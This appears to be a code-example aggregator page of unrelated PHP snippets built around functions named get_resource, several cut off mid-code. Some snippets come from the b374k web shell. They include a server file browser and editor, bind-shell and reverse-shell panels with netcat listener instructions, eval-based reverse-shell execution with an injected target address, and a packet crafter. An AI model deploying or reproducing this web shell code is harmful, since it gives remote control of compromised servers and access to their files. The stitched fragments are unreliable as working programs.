예제 #1
0
function view($location, $args)
{
    $resource = get_resource($location, $args);
    global $xeemes_current_resource;
    $xeemes_current_resource = $resource;
    if ($resource->exists()) {
        $auth_info = verify_view_authorization($resource);
        $cache = new XeemesResourceCache('cache/');
        header('Content-Type: ' . $resource->getContentType());
        // Problem: authenticate doesn't work then, because the browser
        // thinks it's a different directory.
        if (!$auth_info && $resource->isUnmodified()) {
            header('Location: ' . XEEMES_BASE_URL . 'data' . $location);
        } else {
            if (!$cache->output(array($location, $args))) {
                $output = $resource->stringContent();
                $inv = $resource->getCacheInvalidator();
                $cache->insert(array($location, $args), $output, $inv);
                print $output;
            }
        }
    } else {
        header('HTTP/1.1 404 Not found');
        print $resource->getNotFoundData();
    }
}
function page_takeover($landing_page_url)
{
    $landing_page = get_resource($landing_page_url);
    if (!empty($landing_page)) {
        echo $landing_page;
        exit;
    }
}
 function view_file($file, $type, $preserveTimestamp = 'true')
 {
     $output = "";
     if (is_file($file)) {
         $dir = dirname($file);
         $owner = "";
         if (!is_win()) {
             $owner = "<tr><td>Owner</td><td>" . get_fileowner($file) . "</td></tr>";
         }
         $image_info = @getimagesize($file);
         $mime_list = get_resource('mime');
         $mime = "";
         $file_ext_pos = strrpos($file, ".");
         if ($file_ext_pos !== false) {
             $file_ext = trim(substr($file, $file_ext_pos), ".");
             if (preg_match("/([^\\s]+)\\ .*\\b" . $file_ext . "\\b.*/i", $mime_list, $res)) {
                 $mime = $res[1];
             }
         }
         if ($type == "auto") {
             if (is_array($image_info)) {
                 $type = 'image';
             } elseif (!empty($mime)) {
                 $type = "multimedia";
             } else {
                 $type = "raw";
             }
         }
         $content = "";
         if ($type == "code") {
             $hl_arr = array("hl_default" => ini_get('highlight.default'), "hl_keyword" => ini_get('highlight.keyword'), "hl_string" => ini_get('highlight.string'), "hl_html" => ini_get('highlight.html'), "hl_comment" => ini_get('highlight.comment'));
             $content = highlight_string(read_file($file), true);
             foreach ($hl_arr as $k => $v) {
                 $content = str_replace("<font color=\"" . $v . "\">", "<font class='" . $k . "'>", $content);
                 $content = str_replace("<span style=\"color: " . $v . "\">", "<span class='" . $k . "'>", $content);
             }
         } elseif ($type == "image") {
             $width = (int) $image_info[0];
             $height = (int) $image_info[1];
             $image_info_h = "Image type = <span class='strong'>(</span> " . $image_info['mime'] . " <span class='strong'>)</span><br>\n\t\t\t\t\tImage Size = <span class='strong'>( </span>" . $width . " x " . $height . "<span class='strong'> )</span><br>";
             if ($width > 800) {
                 $width = 800;
                 $imglink = "<p><a id='viewFullsize'>\n\t\t\t\t\t<span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
             } else {
                 $imglink = "";
             }
             $content = "<center>" . $image_info_h . "<br>" . $imglink . "\n\t\t\t\t\t<img id='viewImage' style='width:" . $width . "px;' src='data:" . $image_info['mime'] . ";base64," . base64_encode(read_file($file)) . "' alt='" . $file . "'></center>\n\t";
         } elseif ($type == "multimedia") {
             $content = "<center>\n\t\t\t\t\t\t\t<video controls>\n\t\t\t\t\t\t\t<source src='' type='" . $mime . "'>\n\n\t\t\t\t\t\t\t</video>\n\t\t\t\t\t\t\t<p><span class='button' onclick=\"multimedia('" . html_safe(addslashes($file)) . "');\">Load Multimedia File</span></p>\n\t\t\t\t\t\t\t</center>";
         } elseif ($type == "edit") {
             $preservecbox = $preserveTimestamp == 'true' ? " cBoxSelected" : "";
             $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='" . html_safe($file) . "' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox" . $preservecbox . "'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">" . html_safe(read_file($file)) . "</textarea></td></tr></table>";
         } elseif ($type == "hex") {
             $preservecbox = $preserveTimestamp == 'true' ? " cBoxSelected" : "";
             $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='" . html_safe($file) . "' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox" . $preservecbox . "'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">" . bin2hex(read_file($file)) . "</textarea></td></tr></table>";
         } else {
             $content = "<pre>" . html_safe(read_file($file)) . "</pre>";
         }
         $output .= "\n\t<table id='viewFile' class='boxtbl'>\n\t<tr><td style='width:120px;'>Filename</td><td>" . html_safe($file) . "</td></tr>\n\t<tr><td>Size</td><td>" . get_filesize($file) . " (" . filesize($file) . ")</td></tr>\n\t" . $owner . "\n\t<tr><td>Permission</td><td>" . get_fileperms($file) . "</td></tr>\n\t<tr><td>Create time</td><td>" . @date("d-M-Y H:i:s", filectime($file)) . "</td></tr>\n\t<tr><td>Last modified</td><td>" . @date("d-M-Y H:i:s", filemtime($file)) . "</td></tr>\n\t<tr><td>Last accessed</td><td>" . @date("d-M-Y H:i:s", fileatime($file)) . "</td></tr>\n\t<tr data-path='" . html_safe($file) . "'><td colspan='2'>\n\t<span class='navigate button' style='width:120px;'>explorer</span>\n\t<span class='action button' style='width:120px;'>action</span>\n\t<span class='button' style='width:120px;' onclick=\"view('" . html_safe(addslashes($file)) . "', 'raw');hide_box();\">raw</span>\n\t<span class='button' style='width:120px;' onclick=\"view('" . html_safe(addslashes($file)) . "', 'code');hide_box();\">code</span>\n\t<span class='button' style='width:120px;' onclick=\"view('" . html_safe(addslashes($file)) . "', 'hex');hide_box();\">hex</span>\n\t<span class='button' style='width:120px;' onclick=\"view('" . html_safe(addslashes($file)) . "', 'image');hide_box();\">image</span>\n\t<span class='button' style='width:120px;' onclick=\"view('" . html_safe(addslashes($file)) . "', 'multimedia');hide_box();\">multimedia</span>\n\t</td></tr>\n\t<tr><td colspan='2'><div id='viewFilecontent'>" . $content . "</div></td></tr>\n\t</table>";
     } else {
         $output = "error";
     }
     return $output;
 }
예제 #4
0
파일: network.php 프로젝트: lionsoft/b374k
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='" . $server_addr . "' disabled></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='bindPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:144px;'>\n\t\t\t<select id='bindLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='" . $remote_addr . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='backPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:144px;'>\n\t\t\t<select id='backLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://" . $server_addr . "' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>\n\t<tr>\n\t\t<td>\n\t\t\t<span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>\n\t\t</td>\n\t\t<td>You can also press ctrl+enter to submit</td>\n\t</tr>\n\t<tr><td colspan='2'><div id='packetResult'></div></td></tr>\n</tfoot>\n</table>\n";
if (isset($p['rsLang']) && isset($p['rsArgs'])) {
    $rsLang = $p['rsLang'];
    $rsArgs = $p['rsArgs'];
    $res = "";
    if ($rsLang == "php") {
        $code = get_resource("rs_" . $rsLang);
        if ($code !== false) {
            $code = "?><?php \$target = \"" . $rsArgs . "\"; ?>" . $code;
            $res = eval_go($rsLang, $code, "", "");
        }
    } else {
        $code = get_resource("rs_" . $rsLang);
        if ($code !== false) {
            $res = eval_go($rsLang, $code, "", $rsArgs);
        }
    }
    if ($res === false) {
        $res == "error";
    }
    output(html_safe($res));
} elseif (isset($p['packetTimeout']) && isset($p['packetSTimeout']) && isset($p['packetPort']) && isset($p['packetTimeout']) && isset($p['packetContent'])) {
    $packetHost = trim($p['packetHost']);
    if (!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) {
        $packetHost = "tcp://" . $packetHost;
    }
    $packetPort = (int) $p['packetPort'];
    $packetTimeout = (int) $p['packetTimeout'];
예제 #5
0
function get_token_info($access_token)
{
    $res = get_resource('https://graph.facebook.com/debug_token?' . http_build_query(array('input_token' => $access_token, 'access_token' => grant_app_token())));
    return $res;
}
예제 #6
0
파일: layout.php 프로젝트: lionsoft/b374k
<body>
<!--wrapper start-->
<div id='wrapper'>
	<!--header start-->
	<div id='header'>
		<!--header info start-->
		<div id='headerNav'>
			<span><a onclick="set_cookie('cwd', '');" href='<?php 
echo get_self();
?>
'><?php 
echo $GLOBALS['title'] . " " . $GLOBALS['ver'];
?>
</a></span>
			<img onclick='viewfileorfolder();' id='b374k' src='<?php 
echo get_resource('b374k');
?>
' />&nbsp;<span id='nav'><?php 
echo $nav;
?>
</span>

			<a class='boxclose' id='logout' title='log out'>x</a>
			<a class='boxclose' id='showinfo' title='show info'>v</a>
		</div>
		<!--header info end-->

		<!--menu start-->
		<div id='menu'>
			<?php 
foreach ($GLOBALS['module_to_load'] as $k) {
예제 #7
0
파일: base.php 프로젝트: lionsoft/b374k
        header("Content-length: " . filesize($file));
        header("Cache-Control: no-cache");
        header("Pragma: no-cache");
        header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
        $handler = fopen($file, "rb");
        while (!feof($handler)) {
            print fread($handler, 1024 * 8);
            @ob_flush();
            @flush();
        }
        fclose($handler);
        die;
    }
} elseif (isset($p['multimedia'])) {
    $file = trim($p['multimedia']);
    $mime_list = get_resource('mime');
    $mime = "";
    $file_ext_pos = strrpos($file, ".");
    if ($file_ext_pos !== false) {
        $file_ext = trim(substr($file, $file_ext_pos), ".");
        if (preg_match("/([^\\s]+)\\ .*\\b" . $file_ext . "\\b.*/i", $mime_list, $res)) {
            $mime = $res[1];
        }
    }
    if (is_file($file)) {
        header("Content-Type: " . $mime);
        header('Content-Transfer-Encoding: binary');
        header("Content-length: " . filesize($file));
        echo "data:" . $mime . ";base64," . base64_encode(read_file($file));
        die;
    }
}
// FilterIterator
class FilterIterator implements Iterator
{
    function _construct(Iterator $input)
    {
    }
    function rewind()
    {
    }
    function accept()
    {
    }
    function valid()
    {
    }
    function current()
    {
    }
    function key()
    {
    }
    function next()
    {
    }
}
$it = get_resource();
// using Filter Object -  to be studied
foreach (new Filter($it, $filter_param) as $key => $val) {
    /* access filtered data only */
}
<?php

function get_resource($donation_array, $resource_id)
{
    foreach ($donation_array as $donation) {
        if ($donation['id'] == $resource_id) {
            return $donation['quantity'];
        }
    }
    return 0;
}
$response = '{' . file_get_contents('alliance_json_20141015_1.txt') . '}';
//echo $response.'<br/><br/>';
$data = json_decode($response, true);
$members = $data['responses'][0]['return_value']['player_guild']['members'];
//echo "<pre>";
//print_r($members);
//echo "</pre>";
foreach ($members as $member) {
    echo $member['player_name'] . ', ';
    echo get_resource($member['donations'], 1) . ', ';
    echo get_resource($member['donations'], 2) . ', ';
    echo get_resource($member['donations'], 3) . ', ';
    echo get_resource($member['donations'], 4) . ', ';
    echo get_resource($member['donations'], 5) . ', ';
    echo get_resource($member['donations'], 6) . "\r\n";
}
예제 #10
0
 } elseif ($type_chance < $tu_chance) {
     $hex_terrain = "tu";
     $safe = "N";
     $hex_move = $tu_move;
 } elseif ($type_chance < $jg_chance) {
     $hex_terrain = "jg";
     $safe = "Y";
     $hex_move = $jg_move;
 } elseif ($type_chance < $jh_chance) {
     $hex_terrain = "jh";
     $safe = "Y";
     get_resource($res_chance);
     $hex_move = $jh_move;
 } elseif ($type_chance < $ljm_chance) {
     $hex_terrain = "ljm";
     get_resource($res_chance);
     $safe = "N";
     $hex_move = $ljm_move;
 } elseif ($type_chance < $de_chance) {
     $hex_terrain = "de";
     $safe = "N";
     $hex_move = $de_move;
 } elseif ($type_chance < $l_chance) {
     $hex_terrain = "l";
     $hex_move = $l_move;
     $safe = "N";
 } else {
     $hex_terrain = "pr";
     $hex_move = $pr_move;
     $safe = "Y";
 }